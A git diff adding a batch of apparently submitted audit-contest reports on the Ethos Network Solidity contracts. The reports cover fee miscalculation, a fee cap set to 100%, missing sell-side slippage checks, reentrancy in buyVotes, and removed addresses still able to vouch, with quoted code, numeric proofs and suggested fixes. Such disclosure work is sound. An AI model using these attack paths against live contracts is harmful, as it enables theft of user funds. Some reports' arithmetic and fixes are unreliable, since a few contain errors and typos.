+https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L988 + +In `calcFee` we see that the amount to be taken as fees is taken as +`fee = total - (total * 10000 / (10000 + feeBasisPoints))` + +Also initially +` fee = deposit * (feeBasisPoints/10000)` + +So, here we notice that the fee calculation is always done as a percentage of the deposit. It assumes the User has a constant deposit upon whose value the total is used to calculate the fee. + +The problem begins when we cascade the fees like [this](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L951-L952) + +The end result is that the calculation is wrong and way more expected fees is taken from the User's deposit value. + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The user loses more of the deposit value to fees instead of the balance. The incorrect fee calculation would be much more pronounced if the `MAX_TOTAL_FEES` limit was a higher percentage. + +### PoC + + +**example:** + +amount ~ 1e14 +lets assume all three percentages are about 3% ~ 300 basis points. +total ~ 1e14 (0.0001 ether) +the calculation for one fee would be +-> 1e14 - (1e14)*10_000/(10_000 + 300) += 2912621359224 ~ +2.91e+12 +The deposit value used in the calculation would be 9.71e+13 (total - fees) (1e14 - 2.91e+12) + +Here is where the sum of fees is directly subtracted from the total amount. This is a mistake because it changes the deposit value of the user used in calculation to the one stored in the protocol. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L951-L952 + +The value would be +(We assume all three values are 3% ~ 300 basis points. +1e14 - (2.91e+12 + 2.91e+12 + 2.91e+12) + +The end value would be 9.13e+13 however the deposit value used in the calculation was 9.71e+13 !! +This difference causes more than expected funds from the user to be used for fees causing loss of funds. + +Here the 3%, 3%, 3% fees of the deposit amount should amount to about 9% of the deposited value. + +However we see that the percentage of deposit amount used was ~ ((2.91e+12)*3/ 9.13e+13)*100 +~ 9.561% and about (2.91e+12/9.13e+13) ~ 3.18 percentage instead of the 3% because of wrong calculation. + +While the percentage is supposed to be 9% and 3% + +`total Amount : ` 1e14 ~ 100% of deposited total amount +`total fees : ` '8.73e+12' ~ 8.73% of deposited total amount +`total deposit : ` '9.13e+13' ~ 91.3% of deposited total amount + +`fees as percentage of deposit : ` ~ 9.56% +_________________________________________________________________________ +**Arithemetic impact** +The numbers look small only because of the `MAX_TOTAL_FEES` limit of 10%, if supposedly the MAX_TOTAL_FEES was about 90% +the loss would be MUCH higher + +lets take the split of 30% for each fee value + +-> 1e14 - (1e14)*10_000/(10_000 + 3000) += 23076923076924.0~ +'2.31e+13' +The deposit value used in the calculation would be 7.69e+13 + +The `toDeposit` value would be 1e14 - (2.31e+13 + 2.31e+13 + 2.31e+13) +'3.07e+13'. + +The percentage used instead of the 30% for a single fee calculation would be 2.31e+13/3.07e+13 ~ 75% + +We can see that instead of the 90% of value it was supposed to take, it took (2.31e+13 + 2.31e+13 + 2.31e+13)/3.07e+13 +it took 225% and instead of the 30% value it had to take from the deposited amount. + +It took 2.31e+13/3.07e+13 +`75% of the value.` + +In this case the mathematical error will be way more pronounced. + +`total Amount : ` 1e14 ~ 100% of deposited total amount +`total fees : ` '6.93e+13' ~ 69.3% of deposited total amount +`total deposit : ` '3.07e+13' ~ 30.7% of deposited total amount + +`fees as percentage of deposit : ` ~ 225% + +We can clearly see that the impact becomes much bigger and the fees becomes greater than the deposit value itself. The `MAX_TOTAL_FEES` as a bigger value is shown purely for the mathematical impact while `MAX_TOTAL_FEES` having lesser value does minimize the impact. + +### Mitigation + +The mitigation is to add up the fee percentage values and then pass it to the `calcFee` method, and then subtract it from the total amount. + +**Example** +3%, 3%, 3% fees protocolFee, donationFee, vouchersPoolFee +amount ~ 1e14 +add up percentages : 300 + 300 + 300 ~ 900 +then pass to `calcFee` +1e14 - 1e14*1e4/(1e4+900) +`fees value of ` : 8.26e+12 +toDeposit value would become 1e14 - 8.26e+12 --> 91740000000000 , '9.17e+13' + +The fee percentage would be 8.26e+12/9.17e+13 = 9% + +**higher allowed fee percentage Example** +Similarly for the mathematic case of +30%, 30%, 30% fees protocolFee, donationFee, vouchersPoolFee +add up percentages : 3000 + 3000 + 3000 ~ 9000 + +pass to `calcFee` +1e14 - 1e14*1e4/(1e4+9000) +fees = '4.74e+13' +`toDeposit` value = '5.26e+13' + +The fee percentage would be 4.74e+13/5.26e+13 = 90% + +This would cause lower calculations and be accurate diff --git a/678.md b/678.md new file mode 100644 index 0000000..b977930 --- /dev/null +++ b/678.md @@ -0,0 +1,124 @@ +Energetic Honeysuckle Leopard + +High + +# insufficient address validation in EthosVouch::vouchByProfileId() Allows Unauthorized Vouch creation + +### Summary + +A vulnerability in the `vouchByProfileId()` function allows unauthorized vouch creation by compromised or deleted addresses. The issue arises from the lack of address validation in the verifiedProfileIdForAddress() function, which returns a profile ID even if the associated address has been removed + +### Root Cause + +using the below `VouchByProfileId()` function ,author can vouch(or create a vouch) with a subject id. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L336 + +```solidity +/** + * @dev Vouches for profile Id. + * @param subjectProfileId Subject profile Id. + * @param comment Comment. + * @param metadata Metadata. + */ + function vouchByProfileId( + uint256 subjectProfileId, + string calldata comment, + string calldata metadata + ) public payable whenNotPaused nonReentrant { + // validate author profile + uint256 authorProfileId = IEthosProfile( + contractAddressManager.getContractAddressForName(ETHOS_PROFILE) + ).verifiedProfileIdForAddress(msg.sender);//@audit- this allows removed or compromised address to vouch for subject profiles + + // pls no vouch for yourself + if (authorProfileId == subjectProfileId) { + revert SelfVouch(authorProfileId, subjectProfileId); + } +..... +``` +but in the above code,this is a bug i.e the code does not verify/validate the caller correctly this allow compromised or deleted address of a profileId to create a vouch for the subject which should not be the case(confirmed with sponsor) + +![image](https://github.com/user-attachments/assets/61e6ac24-c2bc-4306-921b-656f36144319) + + +now lets understand how the compromised or the deleted address can create vouch +```solidity +// validate author profile + uint256 authorProfileId = IEthosProfile( + contractAddressManager.getContractAddressForName(ETHOS_PROFILE) + ).verifiedProfileIdForAddress(msg.sender);//@audit- removed or compromised address can vouch for subject profiles + +``` +the above code calls the ethosProfile contract’s verifiedProfileIdForAddress() + +```solidity +function verifiedProfileIdForAddress(address _address) external view returns (uint256) { + (bool verified, bool archived, bool mock, uint256 profileId) = profileStatusByAddress(_address); + if (!verified || archived || mock) { + revert ProfileNotFoundForAddress(_address); + } + return profileId; + } + +``` +now the above function calls the profileStatusByAddress() function internally. + +```solidity +/** + * @dev Returns the status of a profile by its associated address. + * @notice This does not check if the address has been removed from the profile. + * It will return the profileId even if the address has been removed. + * @param addressStr The address to check. + * @return verified Whether the profile is verified. + * @return archived Whether the profile is archived. + * @return mock Whether the profile is a mock profile. + * @return profileId The ID of the profile associated with the address. + */ + function profileStatusByAddress( + address addressStr + ) public view returns (bool verified, bool archived, bool mock, uint256 profileId) { + profileId = profileIdByAddress[addressStr]; + (verified, archived, mock) = profileStatusById(profileId); + } +``` +now here is the catch `this function does not check the address has been removed from the profile and it simply returns profileId even if the address has been removed(mentioned in comments)` .and this we can see that this function does not verify the same + +this allows the compromised address or deleted address to create a vouch as the function does not validate checks properly + + +### Internal pre-conditions + +no response + +### External pre-conditions + +no response + +### Attack Path + +mentioned in the description above + +### Impact + +Firstly, according to the sponsor(image attached above) and docs,the compromised address should not create the vouch and should not perform certain actions, and secondly, the compromised address can create a vouch using the profileId and vouch for the subject and earn the rewards, and here he/she can also increase the vouches intentionally upto 256 using small deposits. + +### PoC + +_No response_ + +### Mitigation + +Implement the below fix to check if the caller’s address is compromised. If it is, the function reverts. + +```solidity + // Check if the address is compromised using EthosProfile + if (IEthosProfile(contractAddressManager.getContractAddressForName(ETHOS_PROFILE)).isAddressCompromised(msg.sender)) { + revert("Address is compromised"); + } + + // Check if the address has been removed + if (addressIndexByProfileIdAndAddress[authorProfileId][msg.sender] == 0 && profiles[authorProfileId].addresses[0] != msg.sender) { + revert("Address has been removed"); + } +``` \ No newline at end of file diff --git a/679.md b/679.md new file mode 100644 index 0000000..a5a17ad --- /dev/null +++ b/679.md @@ -0,0 +1,47 @@ +Radiant Sangria Bison + +Medium + +# Maximum total fees will exceed 10% and invariant is broken + +### Summary + +Readme clearly states +_For both contracts:_ + +_Maximum total fees cannot exceed 10%_ + +However, it does exceed 10%: +`uint256 public constant MAX_TOTAL_FEES = 10000; // 100%` + +### Root Cause + +There's a wrongly assigned constant here: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L120 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Protocol invariant is broken and maximum total fees will exceed 10% + +### PoC + +_No response_ + +### Mitigation + +```diff +-uint256 public constant MAX_TOTAL_FEES = 10000; ++uint256 public constant MAX_TOTAL_FEES = 1000; +``` \ No newline at end of file diff --git a/680.md b/680.md new file mode 100644 index 0000000..6aca13c --- /dev/null +++ b/680.md @@ -0,0 +1,241 @@ +Festive Rosewood Porpoise + +High + +# The funds of the ReputationMarket contract can be drained due to incorrect accounting of fees. + +### Summary + +In the ReputationMarket contract, there is mechanism for buying and selling the votes at reputation market and various fees are applied for every transaction. After buying and selling the votes, it looks like the market has more funds than real, since various fees are incorrectly accounted. Therefore, when withdraw funds of the market, they can withdraw more funds than real and the funds of the contract can be drained. + +### Root Cause + +In the [ReputationMarket.sol:L442-L493](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L442-L493) `buyVotes()` function, we calculate how many votes can be bought with the funds provided and updates state variable `marketFunds`. + +```solidity + function buyVotes( + uint256 profileId, + bool isPositive, + uint256 expectedVotes, + uint256 slippageBasisPoints + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // Determine how many votes can be bought with the funds provided + ( + uint256 votesBought, + uint256 fundsPaid, + , + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + @> ) = _calculateBuy(markets[profileId], isPositive, msg.value); + + ... + // tally market funds + @> marketFunds[profileId] += fundsPaid; + ... + } +``` + +Let's consider `fundsPaid` which is added to the funds of market. The calculation of `fundsPaid` is in the [ReputationMarket.sol:L942-L983](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L942-L983) `ReputationMarket._calculateBuy()` function. In this function, we calculate the `protocolFee` and `donation` which is going to be sent and add fees to `fundsPaid`. + +Here is issue. The real amount of funds that the market will receive should not include the fees, since the fees are sent to protocol and donationRecipient. However, the function `ReputationMarket.buyVotes()` adds funds including the fees to its account. Therefore, state variable `marketFunds` stores more funds than real and it will withdraw more funds from contract. As a result, the funds of the contract will be drained. + +```solidity + function _calculateBuy( + Market memory market, + bool isPositive, + uint256 funds + ) + private + view + returns ( + uint256 votesBought, + uint256 fundsPaid, + uint256 newVotePrice, + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) + { + uint256 fundsAvailable; +@> (fundsAvailable, protocolFee, donation) = previewFees(funds, true); + uint256 votePrice = _calcVotePrice(market, isPositive); + + uint256 minPrice = votePrice; + uint256 maxPrice; + + if (fundsAvailable < votePrice) { + revert InsufficientFunds(); + } + + while (fundsAvailable >= votePrice) { + fundsAvailable -= votePrice; + fundsPaid += votePrice; + votesBought++; + + market.votes[isPositive ? TRUST : DISTRUST] += 1; + votePrice = _calcVotePrice(market, isPositive); + } +@> fundsPaid += protocolFee + donation; + + maxPrice = votePrice; + + return (votesBought, fundsPaid, votePrice, protocolFee, donation, minPrice, maxPrice); + } +``` + +The incorrect accounting of the fees is also included in the [ReputationMarket.sol:L495-L534](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-L534) `sellVotes()` function and [ReputationMarket.sol:L1003-L1045](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L1003-L1045) `_calculateSell()` function. + +```solidity + function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount + ) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // calculate the amount of votes to sell and the funds received + ( + uint256 votesSold, + uint256 fundsReceived, + , + uint256 protocolFee, + uint256 minVotePrice, + uint256 maxVotePrice +@> ) = _calculateSell(markets[profileId], profileId, isPositive, amount); + + ... + // tally market funds +@> marketFunds[profileId] -= fundsReceived; + ... +``` + +```solidity + function _calculateSell( + Market memory market, + uint256 profileId, + bool isPositive, + uint256 amount + ) + private + view + returns ( + uint256 votesSold, + uint256 fundsReceived, + uint256 newVotePrice, + uint256 protocolFee, + uint256 minVotePrice, + uint256 maxVotePrice + ) + { + uint256 votesAvailable = votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST]; + + if (votesAvailable < amount) { + revert InsufficientVotesOwned(profileId, msg.sender); + } + + uint256 votePrice = _calcVotePrice(market, isPositive); + + uint256 maxPrice = votePrice; + uint256 minPrice; + + while (votesSold < amount) { + if (market.votes[isPositive ? TRUST : DISTRUST] <= 1) { + revert InsufficientVotesToSell(profileId); + } + + market.votes[isPositive ? TRUST : DISTRUST] -= 1; + votePrice = _calcVotePrice(market, isPositive); + fundsReceived += votePrice; + votesSold++; + } +@> (fundsReceived, protocolFee, ) = previewFees(fundsReceived, false); + minPrice = votePrice; + + return (votesSold, fundsReceived, votePrice, protocolFee, minPrice, maxPrice); + } +``` + +In the `ReputationMarket.sellVotes()` function, we subtract `fundsReceived` from original funds of market. However, `fundsReceived` doesn't include fee which is sent to protocol from market. The `protocolFee` should be sent from the funds of market. Therefore, the funds of market looks like more than real, since the `protocolFee` is not included. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The funds of the ReputationMarket contract will be drained due to incorrect accounting of fees. + +### PoC + +_No response_ + +### Mitigation + +Implement correct accounting of fees to the functions. + +```diff + function buyVotes( + uint256 profileId, + bool isPositive, + uint256 expectedVotes, + uint256 slippageBasisPoints + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // Determine how many votes can be bought with the funds provided + ( + uint256 votesBought, + uint256 fundsPaid, + , + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateBuy(markets[profileId], isPositive, msg.value); + + ... + // tally market funds ++ fundsPaid -= protocolFee; ++ fundsPaid -= donation; + marketFunds[profileId] += fundsPaid; + ... + } +``` + +```diff + function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount + ) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // calculate the amount of votes to sell and the funds received + ( + uint256 votesSold, + uint256 fundsReceived, + , + uint256 protocolFee, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateSell(markets[profileId], profileId, isPositive, amount); + + ... ++ fundsReceived += protocolFee + // tally market funds + marketFunds[profileId] -= fundsReceived; + ... +``` \ No newline at end of file diff --git a/681.md b/681.md new file mode 100644 index 0000000..05dbb02 --- /dev/null +++ b/681.md @@ -0,0 +1,42 @@ +Atomic Turquoise Gerbil + +Medium + +# Maximum total fees can exceed `10%` on `EthosVouch` + +### Summary + +Maximum total fees can exceed 10% on `EthosVouch`. + +This is because the `MAX_TOTAL_FEES` value is hardcoded to `10000` (`100%`) so that the check in the [checkFeeExceedsMaximum()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L996-L1004) function is successfully passed even though the total fee exceeds 10% and breaks the main invariant written in the README. + +> • Maximum total fees cannot exceed 10% +> + +### Root Cause + +[EthosVouch.sol:120](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L120) `MAX_TOTAL_FEES` harcoded to `10000` (`100%`) + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Maximum total fees can exceed `10%` and break main invariant + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/682.md b/682.md new file mode 100644 index 0000000..80119dd --- /dev/null +++ b/682.md @@ -0,0 +1,42 @@ +Deep Ruby Troll + +Medium + +# Donation Recipient Transfer multiple profileIds to newRecipient + +### Summary + +Current donationRecipient transfers all profileID's if he has multiple to the newRecipient + +### Root Cause + +when calling ```updateDonationRecipient``` and transfer the ```donationRecipients``` you dont specify which exactly profileID (market) you transfer to ```newRecipient``` and If the current ```donationRecipient``` has a lot of profileID's (markets) that he is current ```donationRecipition``` he transfers them all to the ```newRecipient``` + +1.https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L544-L564 + +and just an example look how you specify which exaclty profileID you transfer donations in ```applyFees``` +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1116-L1127 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +causes to transfer all profileID's to newRecipient + +### PoC + +_No response_ + +### Mitigation + +specify exact profileID to be transfered \ No newline at end of file diff --git a/683.md b/683.md new file mode 100644 index 0000000..75d38a1 --- /dev/null +++ b/683.md @@ -0,0 +1,56 @@ +Bald Lace Cyborg + +High + +# User can reenter the BuyVote function and grief the market funds to be withdrawed!! + +### Summary + +In BuyVotes() in reputation.sol, remaining eth is being send to user first , and then markerFunds[profileId] is being accounted. +User could create a attack vector where, number of funds which should be accounted would be less, than it actual should be. + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L476C3-L481C41 + +here it is being accounted after sendeth function is called. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +Lets Consider a scenario, + +User wants to, buy 10 votes from market. + +now what he will do is, he call buyVote() with amount of 1 vote. + +So here , it situation would occur is he will give fee for 1 vote, and 1 vote will bought , now when sendEth would be called, +what user will do , again reenter function with same 1 token amount. + +like this he will do 10 times., and at last + +marketFunds[profileID] would get ++ with only fundsPaid for 1 amount of votes. + +So here actual user will end up on giving total amount for 10 votes , and also actuall fee would also be given in applyFees fucntion + +but the amount that should be incremented in market funds , would not be actual and it would be of only 1 tokens instead of 10. +this could grief graduator when he withdraw, very less amount would be there. And funds will be there in contract only. + +### Impact + +less amout of market funds would be accounted, and attacker will greif trusted user from being withdraw actual amount which he should and attacker will leave that funds in contract. So it is loss of funds for protocol as he will not be able to withdraw + +### PoC + +_No response_ + +### Mitigation + +market funds should be accounted before send eth is called!! \ No newline at end of file diff --git a/684.md b/684.md new file mode 100644 index 0000000..a1e6028 --- /dev/null +++ b/684.md @@ -0,0 +1,107 @@ +Faithful Corduroy Crab + +High + +# incorrect fee calculation + +### Summary + +_No response_ + +### Root Cause + + +In ``EthosVouch:calcFee`` , Fee calculation is wrong which causes protocol , user who has vouched and vouchers to receive less fee or rewards than intended. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. A user vouches for a profile. +2. fees are calculated for protocol , donation and voucher but will receive less than intended. + +### Impact + +loss of protocoll fees , donation fee and vouchers fee. + +### PoC + +Consider a total of 100 ether. The expected fee should be: + +Protocol Fee = 1% = 1 ether +Donation Fee = 2% = 2 ether +Voucher Fee = 3% = 3 ether + +```solidity + + function testCalcFee() public { + uint256 total = 100 ether; + + uint256 protocolFeeBps = 100; // 1% + uint256 donationFeeBps = 200; // 2% + uint256 voucherFeeBps = 300; // 3% + + uint256 protocolFee = calcFee(total, protocolFeeBps); + uint256 donationFee = calcFee(total, donationFeeBps); + uint256 voucherFee = calcFee(total, voucherFeeBps); + + console.log("Protocol Fee:", protocolFee ); + console.log("Donation Fee:", donationFee); + console.log("Voucher Fee:", voucherFee ); + console.log("Total Fee:", protocolFee + donationFee + voucherFee); + + } + +``` + +```solidity + +[PASS] testCalcFee() (gas: 7921) +Logs: + Protocol Fee: 990099009900990100 + Donation Fee: 1960784313725490197 + Voucher Fee: 2912621359223300971 + Total Fee: 5863504682849781268 +``` + +```solidity +// protocolFee +protocolFee = 990099009900990100 / 1e18 += 0.9900990099009901 + +// donationFee +donationFee = 1960784313725490197 / 1e18 += 1.9607843137254901 + +// vouchersPoolFee +vouchersPoolFee = 2912621359223300971 / 1e18 += 2.912621359223301 + +//total + +0.9900990099009901 + 1.9607843137254901 + 2.912621359223301 += 5.863504682849781 + +``` +we can that fee are significantly less than expected fee: +Protocol Fee: 1 ether +Donation Fee: 2 ether +Voucher Fee: 3 ether +Total Fee: 6 ether + +### Mitigation + +use same fee logic as Reputation Market +```diff +-- return +-- total - +-- (total.mulDiv(BASIS_POINT_SCALE, (BASIS_POINT_SCALE + feeBasisPoints), Math.Rounding.Floor)); + +++ return total.muldDiv( feeBasisPoints ,BASIS_POINT_SCALE); + ``` \ No newline at end of file diff --git a/685.md b/685.md new file mode 100644 index 0000000..455425e --- /dev/null +++ b/685.md @@ -0,0 +1,94 @@ +Faithful Corduroy Crab + +Medium + +# no slippage protection for sellVotes function. + +### Summary + + + In volatile markets or at low liquidity markets , there is slippage protection for buyVotes but there is no protection for sellVotes which could make user to sell at a worse vote + +### Root Cause + + In `ReputationMarket:sellVotes` , there is no slippage check. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + + +1. Initial Market State: + +- Trust Votes: 400 +- Distrust Votes: 600 +- Total Votes: 1,000 + +2. Bob Executes a Large Buy: + +- Bob buys 200 trust votes, increasing the pool's total to 1,200 votes (Trust: 600, Distrust: 600). +- This action significantly alters the price dynamics, decreasing the price of distrust votes. + +3. Alice Sells Distrust Votes: + +- Alice attempts to sell 100 distrust votes. +- Due to the market shift, Alice receives a worse price for her votes, causing her to lose part of her rewards. + + +### Impact + +Without slippage protection, users may unknowingly execute transactions at unfavorable prices, leading to potential financial losses. this + +- Before Bob's Buy (Ideal Price for Alice's Sell): 0.005560488346281909 Ether per distrust vote. +- After Bob's Buy (Actual Price for Alice's Sell): 0.004550408719346049 Ether per distrust vote. + +Loss per vote: + +0.005560488346281909−0.004550408719346049 = 0.001010079626935860Ether. + +Loss for selling 100 votes: + +100 × 0.001010079626935860 = 0.1010079626935860 Ether + +Alice’s financial loss results directly from the lack of slippage protection. + +### PoC + + +Market Dynamics and Price Changes + +Initial Market State: + +Trust: 400, Distrust: 600, Total: 1,000. + +Price of Distrust Votes: + +Distrust * 0.01 ether / Total + + +Bob Buys 200 Trust Votes: + +Trust: 600, Distrust: 600, Total: 1,200. +The price of distrust votes drops significantly due to the increased pool total. + +Alice Sells 100 Distrust Votes: + +New Total: Trust: 600, Distrust: 500, Total: 1,100. +Final price for distrust votes after Alice’s sale is reduced further. + +| Event | Distrust Price (Ether) | Notes | +|-----------------------------|------------------------------|-----------------------------------------| +| **Initial Market State** | **0.005560488346281909** | Ideal price for Alice's sell. | +| **After Bob’s Buy** | **0.004995829858215179** | Price reduced after Bob's action. | +| **After Alice's Sell** | **0.004550408719346049** | Final price received by Alice. | + + +### Mitigation + +add check slippage limit check as implmented in buyVotes. \ No newline at end of file diff --git a/686.md b/686.md new file mode 100644 index 0000000..4bbe743 --- /dev/null +++ b/686.md @@ -0,0 +1,65 @@ +Best Carbon Eagle + +High + +# Lack of slippage protection in `sellVotes` causes loss of user funds + +## Vulnerability Details +In `ReputationMarket.sol`'s `sellVotes`: +```solidity +function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount +) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // calculate the amount of votes to sell and the funds received + ( + uint256 votesSold, + uint256 fundsReceived, + , + uint256 protocolFee, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateSell(markets[profileId], profileId, isPositive, amount); + + // update the market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + + // apply protocol fees + applyFees(protocolFee, 0, profileId); + + // send the proceeds to the seller + _sendEth(fundsReceived); + // tally market funds + marketFunds[profileId] -= fundsReceived; + emit VotesSold( + profileId, + msg.sender, + isPositive, + votesSold, + fundsReceived, + block.timestamp, + minVotePrice, + maxVotePrice + ); + _emitMarketUpdate(profileId); +} +``` + +Unlike when buying votes, there is no slippage protection when selling votes, users sale will go through **no matter how low the price may have plummented** at the point of time it gets processed. + +## Impact +Let's say `Alice` is selling TRUST votes, right before her transaction gets processed, another whale could have sold alot of TRUST votes or bought a hugh amount of DISTRUST votes, causing the price of TRUST votes to plummet way below the price Alice intended to sell at. + +Alice might not want to sell at that price and she could have intended to wait instead of selling if the price is currently so low. The total lack of slippage protection implies upto ~100% loss for Alice. + +Since this is a loss of up to ~100% funds, this is definietely high impact. + +## Recommendation +Just like `buyVotes`, allow the user to pass in a slippage protection paramter in `sellVotes`. + +## Code Snippet +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-L534 diff --git a/687.md b/687.md new file mode 100644 index 0000000..8779338 --- /dev/null +++ b/687.md @@ -0,0 +1,93 @@ +Faithful Corduroy Crab + +High + +# Inconsistent Fee in Voucher Rewards + +### Summary + +The protocol inconsistently handles rewards for voucher holders. When rewards are added directly to a voucher's balance, they are subject to withdrawal fees upon unvouching. However, leftover rewards (dust) deposited via _depositRewards are claimable without incurring any fees. If this behavior is intended, the dust rewards should also account for fees to maintain consistency across all reward mechanisms. + + + +### Root Cause + + +In ``EthosProfile:_rewardPreviousVoucher``, The protocol adds rewards to the balance of a voucher, which is later subject to withdrawal fees. Meanwhile, leftover rewards (dust) are stored in a separate mapping (rewardsMapping) and can be claimed without any fees. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. A user earns rewards from rewardPreviousVouchers. +2. The rewards are either: + - Added to their vouch.balance, making them subject to withdrawal fees. + - Sent to rewardsMapping as dust, claimable without fees. +3. Users withdrawing directly from their vouch.balance lose part of their rewards due to fees, while others claiming dust rewards from claimrewards avoid such fees. + +### Impact + +Voucher holders lose a portion of their earned rewards due to withdrawal fees applied to the balance. + + +### PoC + + +Rewards Added to Balance + +```solidity +if (!vouch.archived) { + uint256 reward = amount.mulDiv(vouch.balance, totalBalance, Math.Rounding.Floor); + if (reward > 0) { + vouch.balance += reward; // Rewards added to balance + remainingRewards -= reward; + } +} +``` +Dust Rewards Deposited to Mapping rewards can call claimRewards to claim depositRewards. +```solidity + +if (remainingRewards > 0) { + _depositRewards(remainingRewards, subjectProfileId); // Dust rewards added to rewardsMapping +} + +// Rewards added to rewardsMapping are claimable without fees +function _depositRewards(uint256 amount, uint256 recipientProfileId) internal { + rewards[recipientProfileId] += amount; + emit DepositedToRewards(recipientProfileId, amount); +} +``` +Fee Deduction during Unvouching. +```solidity + +function unvouch(uint256 vouchId) external { + Vouch storage vouch = vouches[vouchId]; + uint256 withdrawAmount = vouch.balance; + uint256 fee = calculateFee(withdrawAmount); // Fee applied on withdrawal + uint256 finalAmount = withdrawAmount - fee; + + vouch.balance = 0; + _transfer(msg.sender, finalAmount); +} +``` + +### Mitigation + + +Instead of directly adding rewards to vouch.balance, rewards should be deposited into the rewardsMapping for the respective voucher holders. This ensures all rewards are treated equally and can be claimed using the same mechanism (claimRewards) without being subject to withdrawal fees. + +```solidity +if (!vouch.archived) { + uint256 reward = amount.mulDiv(vouch.balance, totalBalance, Math.Rounding.Floor); + if (reward > 0) { + rewards[subjectProfileId]+= reward + remainingRewards -= reward; + } +} +``` diff --git a/688.md b/688.md new file mode 100644 index 0000000..c9a5803 --- /dev/null +++ b/688.md @@ -0,0 +1,59 @@ +Hollow Coal Zebra + +Medium + +# Maximum Total Fees Can Exceed 10% + +### Summary + +The contract's `MAX_TOTAL_FEES` is set to 10000 (100%) which violates the documented maximum fee limit of 10% specified in the README. + +### Root Cause + +The `MAX_TOTAL_FEES` is set to 10000 which is equivalent to 100%. This contradicts documented constraints. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L120 + +```solidity +uint256 public constant `MAX_TOTAL_FEES` = 10000; // Allows up to 100% +``` + +While individual fee setters have validation: + +```solidity +function setEntryProtocolFeeBasisPoints(uint256 _newEntryProtocolFeeBasisPoints) external onlyAdmin { + checkFeeExceedsMaximum(entryProtocolFeeBasisPoints, _newEntryProtocolFeeBasisPoints); + entryProtocolFeeBasisPoints = _newEntryProtocolFeeBasisPoints; +} +``` + +The maximum limit itself is set too high. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Even with trusted admins, operational risk exists where admin could accidentally set fees too high while thinking they're within 10% limit. When setting multiple fee types (protocol, donation, pool), total fees could exceed 10% without obvious error. + +### PoC + +_No response_ + +### Mitigation + +Set maximum limit to match documented 10%: + +```diff +- uint256 public constant MAX_TOTAL_FEES = 10000; ++ uint256 public constant MAX_TOTAL_FEES = 1000; // 10% max, matching docs +``` diff --git a/689.md b/689.md new file mode 100644 index 0000000..54db6bd --- 